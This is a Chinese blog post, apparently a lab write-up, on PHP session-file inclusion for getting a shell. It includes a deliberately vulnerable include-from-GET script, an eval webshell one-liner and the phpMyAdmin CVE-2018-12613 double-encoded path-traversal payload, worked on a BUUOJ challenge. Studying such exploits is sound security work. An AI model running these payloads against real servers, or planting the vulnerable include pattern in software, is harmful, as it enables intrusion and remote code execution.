通过session getshell

通过session getshell

主要思路:

1.通过session将文件存储到本地服务器上 webshell(一句话木马)

http://127.0.0.1:8000/session.php?name=

2.通过文件包含,去包含这个session文件 getshell

http://127.0.0.1:8000/include.php?file=F:\xampp\tmp\sess_jav4umkudtd01ft5euf2jbl95s

或者直接用蚁剑连接

一些细节知识:

先用phpinfo()查看session()保存位置,再通过这个sessid来查看保存文件是哪一个,session文件前缀是sess_然后后面再加sessid就是文件名称(sessid可以下载editthiscookie插件,这个插件上可以直接看到sessid)

image-20220516100444795

image-20220516095642006

session.php

<?php

session_start();

$_SESSION['name']=$_GET['name'];

print_r('hello'.$_SESSION['name']);

?>

include.php

<?php

$file = $_GET['file'];

include $file;

?>

然后做道题目练习一下

https://buuoj.cn/challenges#[PHPMYADMIN]CVE-2018-12613

打开靶机:

image-20220516154341282

我们先在mysql里执行一下查询语句(这个查询语句里可以写一句话木马)

select '<?php phpinfo();?>'
或者
select '<?php @eval($_GET[1])?>

然后网站会把这个查询语句保存到session文件中

然后我们就可以通过这个payload去包含这个session文件

session文件目录:

/tmp/

或者

/var/lib/php/

因为本题的flag就在phpinfo()里,所以下面两个payload都可以

http://node4.buuoj.cn:28384/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_aa8b3a665c872e4cf54befd37fad7e69&1=phpinfo()

http://node4.buuoj.cn:28384/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_aa8b3a665c872e4cf54befd37fad7e69

image-20220516155610874

flag{c802e110-42c3-4bd2-8393-0e78ea583cf3}

然后来解释一下这个payload

http://node4.buuoj.cn:28384/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_aa8b3a665c872e4cf54befd37fad7e69&1=phpinfo()

target就是对白名单做一个限制,而db_sql.php这个文件刚好在这个白名单里,(也可以是其他文件,不是db_sql.php这个也行)

?一次url编码:%3f

%再次url编码:%25

浏览器传输过程中,浏览器会自动解码,到达服务器时就是%3f

然后检测的时候会先进行URL解码,就变成了db_sql.php?,后面的内容就会都被当成参数,源码当中就会把?后面的内容删掉

include的时候并不会进行解码,把%3f当成一个路径,然后就会一直向上级回溯,一直到根目录。所以就可以去包含这个session文件。

posted @ 2022-05-16 22:55  Jinx8823  阅读(104)  评论(0编辑  收藏  举报